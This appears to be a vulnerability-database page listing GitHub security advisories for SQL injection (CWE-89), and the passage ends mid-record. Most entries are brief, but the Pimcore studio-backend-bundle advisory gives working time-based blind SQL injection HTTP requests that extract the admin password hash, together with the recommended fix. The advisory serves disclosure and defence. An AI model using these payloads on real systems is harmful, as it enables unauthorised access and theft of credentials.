CWE-89
AllowedImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
28356 vulnerabilities reference this CWE, most recent first.
GHSA-799X-V3W2-FM4H
Vulnerability from github – Published: 2023-04-06 15:30 – Updated: 2023-04-12 15:30SQL injection vulnerability found in Tailor Management System v.1 allows a remote attacker to execute arbitrary code via the detail parameter of the document.php page.
{
"affected": [],
"aliases": [
"CVE-2020-36073"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-06T15:15:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability found in Tailor Management System v.1 allows a remote attacker to execute arbitrary code via the detail parameter of the document.php page.",
"id": "GHSA-799x-v3w2-fm4h",
"modified": "2023-04-12T15:30:45Z",
"published": "2023-04-06T15:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36073"
},
{
"type": "WEB",
"url": "https://github.com/Abdallah-Fouad-X/CVE-s/blob/main/README.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-79C2-G2JR-H2QR
Vulnerability from github – Published: 2024-11-11 09:30 – Updated: 2024-11-11 09:30Webopac from Grand Vice info has a SQL Injection vulnerability, allowing unauthenticated remote attacks to inject arbitrary SQL commands to read, modify, and delete database contents.
{
"affected": [],
"aliases": [
"CVE-2024-11016"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-11T07:15:04Z",
"severity": "CRITICAL"
},
"details": "Webopac from Grand Vice info has a SQL Injection vulnerability, allowing unauthenticated remote attacks to inject arbitrary SQL commands to read, modify, and delete database contents.",
"id": "GHSA-79c2-g2jr-h2qr",
"modified": "2024-11-11T09:30:41Z",
"published": "2024-11-11T09:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11016"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-8210-46322-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-8209-bf75d-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-79CW-HFCC-7MW9
Vulnerability from github – Published: 2026-08-28 19:04 – Updated: 2026-08-28 19:04Summary
An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint (and 11 other listing endpoints) accepts a columnFilters array where the key field is interpolated directly into SQL with only manual backtick wrapping. The DateFilter uses fixed named parameters (:minTime, :maxTime), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including SLEEP() for time-based extraction and IF() subqueries for conditional data exfiltration.
Vulnerability Details
Exploitable: DateFilter with Fixed Named Parameters
src/Listing/Filter/DateFilter.php lines 49-57 handle the on operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as :minTime and :maxTime:
$key = $column->getKey(); // user-controlled, no validation
$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';
$listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);
Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.
Same Pattern in Note FilterService
src/Note/Service/FilterService.php lines 64-67:
$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';
$list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);
No Validation on Column Key
src/MappedParameter/Filter/ColumnFilter.php accepts any string as the key with zero validation or allowlisting.
Why Backtick Wrapping is Not Escaping
Manual backtick wrapping ('`' . $key . '`') does not escape internal backtick characters. quoteIdentifier() doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the -- (double dash space) comments out the remainder of the query:
Input: key = "id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "
Produces:
(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ` BETWEEN :minTime AND :maxTime)
Everything after -- is a SQL comment. The injected SLEEP(3) executes unconditionally.
Contrast with Safe Patterns in the Same Codebase
LogRepository.phpline 202: uses$this->dbResolver->get()->quoteIdentifier()(safe)ClassificationStore/Configuration/KeyRepository.php: usesALLOWED_SORT_KEYSallowlist (safe)
Note on EqualsFilter/LikeFilter
The EqualsFilter and LikeFilter have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (:columnName). PDO requires named parameters to match [a-zA-Z0-9_], so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.
Steps to Reproduce
Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11.
Step 1: Baseline request (no injection)
POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>
{"page":1,"pageSize":10}
Response: HTTP/1.1 200 OK -- totalItems: 1 -- 0.07 seconds
Step 2: Unconditional SLEEP(3) injection
POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
Response: HTTP/1.1 200 OK -- totalItems: 0 -- 6.07 seconds
The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:
SELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ` BETWEEN :minTime AND :maxTime) ORDER BY `id` ASC LIMIT 50
Step 3: Conditional SLEEP proving data extraction (TRUE case)
This query tests whether the admin password hash starts with $2y$ (bcrypt, hex 0x24327924). If true, the server sleeps 3 seconds. If false, no delay.
POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
Response: HTTP/1.1 200 OK -- 6.07 seconds (TRUE: admin password hash starts with $2y$)
Step 4: Conditional SLEEP (FALSE case, wrong guess)
Same query but testing for XXXX (hex 0x58585858) instead:
POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
Response: HTTP/1.1 200 OK -- 0.07 seconds (FALSE: password does not start with XXXX)
Timing comparison
| Request | Payload | Response Time | Meaning |
|---|---|---|---|
| Baseline | No injection | 0.07s | Normal |
| Unconditional SLEEP | AND SLEEP(3) |
6.07s | Injection confirmed |
| Conditional TRUE | IF(password starts with $2y$, SLEEP(3), 0) |
6.07s | Data extracted: hash is bcrypt |
| Conditional FALSE | IF(password starts with XXXX, SLEEP(3), 0) |
0.07s | Control: no match, no delay |
By iterating through characters with SUBSTRING(password, N, 1), an attacker extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover without cracking.
Impact
An authenticated user with website_settings permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.
Directly extractable high-value data:
- Admin password hashes (users.password) for offline cracking
- Password recovery tokens (users.passwordRecoveryToken) for direct account takeover via POST /login/token
- Session data for session hijacking
- All PIM product data, CMS content, and asset metadata
Affected Endpoints
All endpoints using ListingFilter::applyFilters() with a DateFilter on column filter:
POST /pimcore-studio/api/website-settingsPOST /pimcore-studio/api/notificationsPOST /pimcore-studio/api/recycle-binPOST /pimcore-studio/api/redirectsPOST /pimcore-studio/api/translations/{domain}POST /pimcore-studio/api/quantity-value/unitsPOST /pimcore-studio/api/propertiesPOST /pimcore-studio/api/classification-store/{storeId}/keysPOST /pimcore-studio/api/classification-store/{storeId}/groupsPOST /pimcore-studio/api/classification-store/{storeId}/collectionsGET /pimcore-studio/api/notes/{elementType}/{id}(via Note FilterService fieldFilters)
Recommended Fix
Replace manual backtick wrapping with Doctrine\DBAL\Connection::quoteIdentifier(), or implement a per-listing allowlist of valid column names:
// Option 1: quoteIdentifier (doubles internal backticks)
$db = \Pimcore\Db::get();
$dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';
// Option 2: allowlist (preferred)
private const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];
if (!in_array($key, self::ALLOWED_COLUMNS, true)) {
throw new InvalidArgumentException('Invalid filter column');
}
Apply the same fix to EqualsFilter, LikeFilter, and Note/FilterService as defense-in-depth, even though those are currently protected by PDO named parameter validation.
Supporting Materials
- Live-tested on Pimcore 12.x (2026.x branch, commit
82f9ff6), Docker, PHP 8.4, MariaDB 10.11 - MySQL general query log confirms injected SQL reaches the database
- The safe pattern (
quoteIdentifier()) exists in the same codebase inLogRepository.phpline 202 - Package:
pimcore/studio-backend-bundle
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "pimcore/studio-backend-bundle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2025.4.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "pimcore/studio-backend-bundle"
},
"ranges": [
{
"events": [
{
"introduced": "2026.1.0"
},
{
"fixed": "2026.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55208"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T19:04:54Z",
"nvd_published_at": "2026-07-09T21:16:56Z",
"severity": "HIGH"
},
"details": "## Summary\n\nAn authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the `DateFilter` column key parameter. The `POST /pimcore-studio/api/website-settings` endpoint (and 11 other listing endpoints) accepts a `columnFilters` array where the `key` field is interpolated directly into SQL with only manual backtick wrapping. The `DateFilter` uses fixed named parameters (`:minTime`, `:maxTime`), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including `SLEEP()` for time-based extraction and `IF()` subqueries for conditional data exfiltration.\n\n## Vulnerability Details\n\n### Exploitable: DateFilter with Fixed Named Parameters\n\n`src/Listing/Filter/DateFilter.php` lines 49-57 handle the `on` operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as `:minTime` and `:maxTime`:\n\n```php\n$key = $column-\u003egetKey(); // user-controlled, no validation\n$dateCondition = \u0027`\u0027 . $key . \u0027` \u0027 . \u0027 BETWEEN :minTime AND :maxTime\u0027;\n$listing-\u003eaddConditionParam($dateCondition, [\u0027minTime\u0027 =\u003e $value, \u0027maxTime\u0027 =\u003e ...]);\n```\n\nBecause the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.\n\n### Same Pattern in Note FilterService\n\n`src/Note/Service/FilterService.php` lines 64-67:\n\n```php\n$dateCondition = \u0027`\u0027 . $filter[$propertyKey] . \u0027` \u0027 . \u0027 BETWEEN :minTime AND :maxTime\u0027;\n$list-\u003eaddConditionParam($dateCondition, [\u0027minTime\u0027 =\u003e $value, \u0027maxTime\u0027 =\u003e $maxTime]);\n```\n\n### No Validation on Column Key\n\n`src/MappedParameter/Filter/ColumnFilter.php` accepts any string as the `key` with zero validation or allowlisting.\n\n### Why Backtick Wrapping is Not Escaping\n\nManual backtick wrapping (`` \u0027`\u0027 . $key . \u0027`\u0027 ``) does not escape internal backtick characters. `quoteIdentifier()` doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the `-- ` (double dash space) comments out the remainder of the query:\n\n**Input:** ``key = \"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- \"``\n\n**Produces:**\n```sql\n(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ` BETWEEN :minTime AND :maxTime)\n```\n\nEverything after `-- ` is a SQL comment. The injected `SLEEP(3)` executes unconditionally.\n\n### Contrast with Safe Patterns in the Same Codebase\n\n- `LogRepository.php` line 202: uses `$this-\u003edbResolver-\u003eget()-\u003equoteIdentifier()` (safe)\n- `ClassificationStore/Configuration/KeyRepository.php`: uses `ALLOWED_SORT_KEYS` allowlist (safe)\n\n### Note on EqualsFilter/LikeFilter\n\nThe `EqualsFilter` and `LikeFilter` have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (`:columnName`). PDO requires named parameters to match `[a-zA-Z0-9_]`, so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.\n\n## Steps to Reproduce\n\nTested on Pimcore 12.x (2026.x branch, latest commit `82f9ff6`), Docker, PHP 8.4, MariaDB 10.11.\n\n### Step 1: Baseline request (no injection)\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\u003cAUTHENTICATED_SESSION\u003e\n\n{\"page\":1,\"pageSize\":10}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- `totalItems: 1` -- **0.07 seconds**\n\n\u003cimg width=\"1666\" height=\"616\" alt=\"image\" src=\"https://github.com/user-attachments/assets/93dfbb22-3915-4abb-b569-13c9f3cea368\" /\u003e\n\n\n### Step 2: Unconditional SLEEP(3) injection\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\u003cAUTHENTICATED_SESSION\u003e\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- `totalItems: 0` -- **6.07 seconds**\n\n\u003cimg width=\"1631\" height=\"898\" alt=\"image\" src=\"https://github.com/user-attachments/assets/97d04b04-4fb2-4fd4-95b8-e50d0521de97\" /\u003e\n\n\u003cimg width=\"1920\" height=\"625\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6000a604-b189-4f99-8648-d8ec36a59094\" /\u003e\n\n\nThe 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:\n\n```sql\nSELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ` BETWEEN :minTime AND :maxTime) ORDER BY `id` ASC LIMIT 50\n```\n\n### Step 3: Conditional SLEEP proving data extraction (TRUE case)\n\nThis query tests whether the admin password hash starts with `$2y$` (bcrypt, hex `0x24327924`). If true, the server sleeps 3 seconds. If false, no delay.\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\u003cAUTHENTICATED_SESSION\u003e\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- **6.07 seconds** (TRUE: admin password hash starts with `$2y$`)\n\n\u003cimg width=\"1611\" height=\"706\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b9f12ca4-3459-4ed6-8a08-c64f99f28d85\" /\u003e\n\n\n\u003cimg width=\"1917\" height=\"570\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1c5eca3d-f66b-4630-bea9-69c93ffa1a6f\" /\u003e\n\n\n\n### Step 4: Conditional SLEEP (FALSE case, wrong guess)\n\nSame query but testing for `XXXX` (hex `0x58585858`) instead:\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=\u003cAUTHENTICATED_SESSION\u003e\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- **0.07 seconds** (FALSE: password does not start with `XXXX`)\n\n\u003cimg width=\"1920\" height=\"496\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7a27f666-a6e4-4c65-94b4-f0d22ba1db7f\" /\u003e\n\n\n### Timing comparison\n\n| Request | Payload | Response Time | Meaning |\n|---------|---------|---------------|---------|\n| Baseline | No injection | 0.07s | Normal |\n| Unconditional SLEEP | `AND SLEEP(3)` | 6.07s | Injection confirmed |\n| Conditional TRUE | `IF(password starts with $2y$, SLEEP(3), 0)` | 6.07s | Data extracted: hash is bcrypt |\n| Conditional FALSE | `IF(password starts with XXXX, SLEEP(3), 0)` | 0.07s | Control: no match, no delay |\n\nBy iterating through characters with `SUBSTRING(password, N, 1)`, an attacker extracts the full bcrypt hash for offline cracking, or extracts `passwordRecoveryToken` values for direct account takeover without cracking.\n\n## Impact\n\nAn authenticated user with `website_settings` permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.\n\nDirectly extractable high-value data:\n- Admin password hashes (`users.password`) for offline cracking\n- Password recovery tokens (`users.passwordRecoveryToken`) for direct account takeover via `POST /login/token`\n- Session data for session hijacking\n- All PIM product data, CMS content, and asset metadata\n\n## Affected Endpoints\n\nAll endpoints using `ListingFilter::applyFilters()` with a DateFilter `on` column filter:\n\n- `POST /pimcore-studio/api/website-settings`\n- `POST /pimcore-studio/api/notifications`\n- `POST /pimcore-studio/api/recycle-bin`\n- `POST /pimcore-studio/api/redirects`\n- `POST /pimcore-studio/api/translations/{domain}`\n- `POST /pimcore-studio/api/quantity-value/units`\n- `POST /pimcore-studio/api/properties`\n- `POST /pimcore-studio/api/classification-store/{storeId}/keys`\n- `POST /pimcore-studio/api/classification-store/{storeId}/groups`\n- `POST /pimcore-studio/api/classification-store/{storeId}/collections`\n- `GET /pimcore-studio/api/notes/{elementType}/{id}` (via Note FilterService fieldFilters)\n\n## Recommended Fix\n\nReplace manual backtick wrapping with `Doctrine\\DBAL\\Connection::quoteIdentifier()`, or implement a per-listing allowlist of valid column names:\n\n```php\n// Option 1: quoteIdentifier (doubles internal backticks)\n$db = \\Pimcore\\Db::get();\n$dateCondition = $db-\u003equoteIdentifier($key) . \u0027 BETWEEN :minTime AND :maxTime\u0027;\n\n// Option 2: allowlist (preferred)\nprivate const ALLOWED_COLUMNS = [\u0027id\u0027, \u0027name\u0027, \u0027date\u0027, \u0027type\u0027, \u0027creationDate\u0027, \u0027modificationDate\u0027];\nif (!in_array($key, self::ALLOWED_COLUMNS, true)) {\n throw new InvalidArgumentException(\u0027Invalid filter column\u0027);\n}\n```\n\nApply the same fix to `EqualsFilter`, `LikeFilter`, and `Note/FilterService` as defense-in-depth, even though those are currently protected by PDO named parameter validation.\n\n## Supporting Materials\n\n- Live-tested on Pimcore 12.x (2026.x branch, commit `82f9ff6`), Docker, PHP 8.4, MariaDB 10.11\n- MySQL general query log confirms injected SQL reaches the database\n- The safe pattern (`quoteIdentifier()`) exists in the same codebase in `LogRepository.php` line 202\n- Package: `pimcore/studio-backend-bundle`",
"id": "GHSA-79cw-hfcc-7mw9",
"modified": "2026-08-28T19:04:54Z",
"published": "2026-08-28T19:04:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-79cw-hfcc-7mw9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55208"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/studio-backend-bundle/pull/1883"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/studio-backend-bundle/commit/f532428cfbf4f5d6e299a13cedd5c29541802552"
},
{
"type": "PACKAGE",
"url": "https://github.com/pimcore/pimcore"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2025.4.6"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Pimcore: SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes"
}
GHSA-79FF-78M8-J52C
Vulnerability from github – Published: 2024-09-20 03:30 – Updated: 2024-09-20 03:30A vulnerability, which was classified as critical, was found in code-projects Crud Operation System 1.0. Affected is an unknown function of the file updata.php. The manipulation of the argument sid leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2024-9011"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-20T01:15:10Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, was found in code-projects Crud Operation System 1.0. Affected is an unknown function of the file updata.php. The manipulation of the argument sid leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-79ff-78m8-j52c",
"modified": "2024-09-20T03:30:46Z",
"published": "2024-09-20T03:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9011"
},
{
"type": "WEB",
"url": "https://github.com/ppp-src/a/issues/14"
},
{
"type": "WEB",
"url": "https://code-projects.org"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.278166"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.278166"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.410396"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-79FX-6H56-PFCR
Vulnerability from github – Published: 2023-10-25 18:32 – Updated: 2023-11-01 18:30A vulnerability in the web-based management interface of ClearPass Policy Manager could allow an authenticated remote attacker to conduct SQL injection attacks against the ClearPass Policy Manager instance. An attacker could exploit this vulnerability to obtain and modify sensitive information in the underlying database potentially leading to complete compromise of the ClearPass Policy Manager cluster.
{
"affected": [],
"aliases": [
"CVE-2023-43507"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-25T18:17:31Z",
"severity": "HIGH"
},
"details": "A vulnerability in the web-based management interface of\u00a0ClearPass Policy Manager could allow an authenticated\u00a0remote attacker to conduct SQL injection attacks against\u00a0the ClearPass Policy Manager instance. An attacker could\u00a0exploit this vulnerability to obtain and modify sensitive\u00a0information in the underlying database potentially leading\u00a0to complete compromise of the ClearPass Policy Manager\u00a0cluster.",
"id": "GHSA-79fx-6h56-pfcr",
"modified": "2023-11-01T18:30:30Z",
"published": "2023-10-25T18:32:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43507"
},
{
"type": "WEB",
"url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2023-016.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-79GF-4FR3-W2Q9
Vulnerability from github – Published: 2026-06-25 09:31 – Updated: 2026-06-25 09:31The Tourfic – AI Powered Travel Booking, Hotel Booking & Car Rental WordPress Plugin plugin for WordPress is vulnerable to generic SQL Injection via the 'post_id' parameter in all versions up to, and including, 2.22.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The AJAX handler is registered for unauthenticated users via wp_ajax_nopriv_tf_room_availability, and the required nonce is emitted on the public single-hotel page template, allowing unauthenticated attackers to freely obtain a valid nonce and reach the vulnerable code path.
{
"affected": [],
"aliases": [
"CVE-2026-12937"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-25T08:16:29Z",
"severity": "HIGH"
},
"details": "The Tourfic \u2013 AI Powered Travel Booking, Hotel Booking \u0026 Car Rental WordPress Plugin plugin for WordPress is vulnerable to generic SQL Injection via the \u0027post_id\u0027 parameter in all versions up to, and including, 2.22.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The AJAX handler is registered for unauthenticated users via wp_ajax_nopriv_tf_room_availability, and the required nonce is emitted on the public single-hotel page template, allowing unauthenticated attackers to freely obtain a valid nonce and reach the vulnerable code path.",
"id": "GHSA-79gf-4fr3-w2q9",
"modified": "2026-06-25T09:31:17Z",
"published": "2026-06-25T09:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12937"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/tourfic/tags/2.22.7/inc/Classes/Helper.php#L1164"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/tourfic/tags/2.22.7/inc/Classes/Hotel/Hotel.php#L305"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/tourfic/tags/2.22.7/inc/Classes/Hotel/Hotel.php#L543"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3584747%40tourfic\u0026new=3584747%40tourfic\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/12c29a44-f9e4-439a-bc3f-18a3640f7924?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-79HG-357G-RRGV
Vulnerability from github – Published: 2022-05-14 00:55 – Updated: 2023-07-22 00:08Centreon 3.4.x (fixed in Centreon 18.10.0 and Centreon web 2.8.28) allows SQL Injection via the main.php searchH parameter.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "centreon/centreon"
},
"ranges": [
{
"events": [
{
"introduced": "18.0.0"
},
{
"fixed": "18.10.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "centreon/centreon"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.8.28"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-19271"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-22T00:08:05Z",
"nvd_published_at": "2018-11-14T11:29:00Z",
"severity": "HIGH"
},
"details": "Centreon 3.4.x (fixed in Centreon 18.10.0 and Centreon web 2.8.28) allows SQL Injection via the main.php searchH parameter.",
"id": "GHSA-79hg-357g-rrgv",
"modified": "2023-07-22T00:08:05Z",
"published": "2022-05-14T00:55:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19271"
},
{
"type": "WEB",
"url": "https://github.com/centreon/centreon-archived/pull/6625"
},
{
"type": "WEB",
"url": "https://documentation.centreon.com/docs/centreon/en/latest/release_notes/centreon-18.10/centreon-18.10.0.html"
},
{
"type": "WEB",
"url": "https://documentation.centreon.com/docs/centreon/en/latest/release_notes/centreon-2.8/centreon-2.8.28.html"
},
{
"type": "WEB",
"url": "http://www.rootlabs.com.br/authenticated-sql-injection-in-centreon-3-4-x"
}
],
"schema_version": "1.4.0",
"severity": [
{
